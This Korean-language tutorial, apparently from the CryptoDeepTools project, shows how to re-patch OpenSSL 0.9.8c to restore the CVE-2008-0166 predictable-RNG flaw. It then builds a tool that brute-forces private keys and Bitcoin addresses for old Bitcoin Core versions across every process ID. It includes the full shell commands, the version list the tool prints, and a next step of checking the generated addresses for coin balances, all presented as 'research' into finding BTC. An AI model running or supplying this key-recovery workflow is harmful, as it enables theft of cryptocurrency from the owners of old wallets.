
중대한 취약점이 있는 OpenSSL 0.9.8 CVE-2008-0166을 사용하는 이전 버전의 Bitcoin Core에서 BTC 코인을 검색합니다.
이 글에서는 CVE-2008-0166 취약점을 이용하여 비트코인 주소(P2PKH)를 생성하는 도구를 만들 것입니다. 이는 이전 버전의 Bitcoin Core 소프트웨어 클라이언트에서 BTC 코인을 찾기 위한 연구 프로젝트입니다.
난수 생성기가 예측 가능한 숫자 를 생성합니다 CVE-2008-0166
치명적 취약점 버전 OpenSSL 0.9.8 CVE-2008-0166은 프로세스 ID만으로 채워졌습니다. 엔디언 방식과 sizeof(long)의 차이로 인해 출력은 아키텍처에 따라 달라집니다: 32 비트 리틀 엔디언 (예: i386), 64 비트 리틀 엔디언 (예: amd64, ia64), 32 비트 빅 엔디언 (예: powerpc, sparc). PID 0은 코어이며, PID_MAX (32768)는 포팅으로 도달되지 않으므로 각 아키텍처에 대해 32767 개의 가능한 난수 스트림이 있었습니다.
| 출시일 | 버전 |
모든 것이 Google Drive 파일 저장소에 저장됩니다
«Ubuntu 18.04.5LTS»
install g++
install packages libgmp3-dev libmpfr-dev
cryptodeepbtcgen이 성공적으로 생성되었습니다!
cryptodeepbtcgen 실행
bitaddress 웹사이트에서 개인 키 확인
Bitcoin Core 소프트웨어 클라이언트는 OpenSSL을 사용합니다. 특히, «EC_KEY_generate_key()» 함수를 사용하여 비트코인 주소 (키와 같은)를 생성하여 지불을 받습니다. 이전 버전의 Bitcoin Core는 100 개의 키를 생성하여 wallet.dat에 저장합니다.
새 키는 비트코인 지불을 받을 때만 생성됩니다. 따라서 Bitcoin Core 소프트웨어 클라이언트는 100 개의 사용되지 않은 비트코인 키 (주소) 풀을 유지합니다. 내부 난수 생성기의 상태는 OpenSSL 라이브러리에 'EC_KEY_generate_key()' 호출 이전에 어떤 다른 호출이 이루어졌는지에 따라 달라집니다. RNG의 내부 상태에 영향을 미치는 요소: «RAND_add(8)», «RAND_bytes(8)» 및 «RAND_bytes(32)».
따라서 연구는 오래된 비트코인 소스 코드를 많이 살펴보며 «EC_KEY_generate_key()». 호출 이전에 RNG 내부 상태에 영향을 미친 호출들이 무엇인지 알아내는 것이었습니다. 호출 경로는 Bitcoin Core 소프트웨어 클라이언트 버전마다 다릅니다.
연구는 다음 버전에 초점을 맞췄습니다:

우리의 목표는 Bitcoin Core 소프트웨어 클라이언트의 각 버전, 각 아키텍처 (le32/le64), 각 프로세스 ID 및 비트코인 주소 (P2PKH)에 대해 치명적 취약점 OpenSSL 0.9.8.의 난수를 사용하여 개인 키를 생성하는 것입니다.
최종적으로 비트코인 주소 생성기 (P2PKH)를 만들고 모든 결과를 파일 result.txt에 저장할 것입니다.

이를 위해 배포판 Google Colab의 «Ubuntu 18.04.5 LTS»를 사용할 것입니다.

이전에 비디오 지침을 녹화했습니다: «TERMINAL in Google Colab create all the conveniences for working in GITHUB»
Google Colab을 Terminal [TerminalGoogleColab]에서 엽니다.
명령어를 실행합니다:
cat /etc/lsb-release
«CryptoDeepTools» 저장소로 이동하여 세부 사항을 살펴봅니다.
git clone https://github.com/demining/CryptoDeepTools.gitcd CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

업데이트 및 설치 g++ libgmp3-dev libmpfr-dev
apt-get update
sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y

OpenSSL을 CVE-2008-0166에서처럼 다시 취약하게 만들기 위해
다운로드 openssl-0.9.8c.tar.gz 하고 시스템 파일에 패치 적용
wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz


tar xfz openssl-0.9.8c.tar.gz
mv openssl-0.9.8c openssl-0.9.8c-vuln
cd openssl-0.9.8c-vuln

ls -lh
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
make depend all
cd /
ls

cd content/CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto
ls -lh

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0 - 0.3.24
#1 - 0.8.6-d
#2 - 0.8.6-qt
#3 - 0.9.1-d
#4 - 0.9.4-d
#5 - unknownA
#6 - unknownB
#7 - unknownC
#8 - unknownD
#9 - unknownE
#10 - unknownF
#11 - unknownG
#12 - unknownH
#13 - unknownI
#14 - unknownJ
#15 - unknownK
#16 - unknownA0
#17 - unknownA1
#18 - unknownA2
#19 - unknownA3
#20 - unknownA4
#21 - unknownB0
#22 - unknownB1
#23 - unknownB2
#24 - unknownB3
#25 - unknownC0
#26 - unknownC1
#27 - unknownC2
#28 - unknownD0
#29 - unknownD1
#30 - unknownD2
#31 - unknownD3
#32 - unknownD4
#33 - unknownD5
#34 - unknownE0
#35 - unknownA0x
#36 - unknownA1x
#37 - unknownA2x
#38 - unknownA3x
#39 - unknownA4x
#40 - unknownB0x
#41 - unknownB1x
#42 - unknownB2x
#43 - unknownB3x
#44 - unknownC0x
#45 - unknownC1x
#46 - unknownC2x
#47 - unknownD0x
#48 - unknownD1x
#49 - unknownD2x
#50 - unknownD3x
#51 - unknownD4x
#52 - unknownD5x
#53 - unknownE0x
crypto >
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt

모든 것이 파일 저장소 Google Drive에 텍스트 파일 result.txt로 저장됩니다.


다음으로, 생성된 모든 비트코인 주소에서 BTC 코인 존재 여부를 확인해야 합니다. 이를 위해 Python 스크립트 를 사용할 수 있습니다: bitcoin-checker.py
| 기부 주소 | |
|---|---|
| ♥ BTC | 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV |
| ♥ ETH | 0xaBd66CF90898517573f19184b3297d651f7b90bf |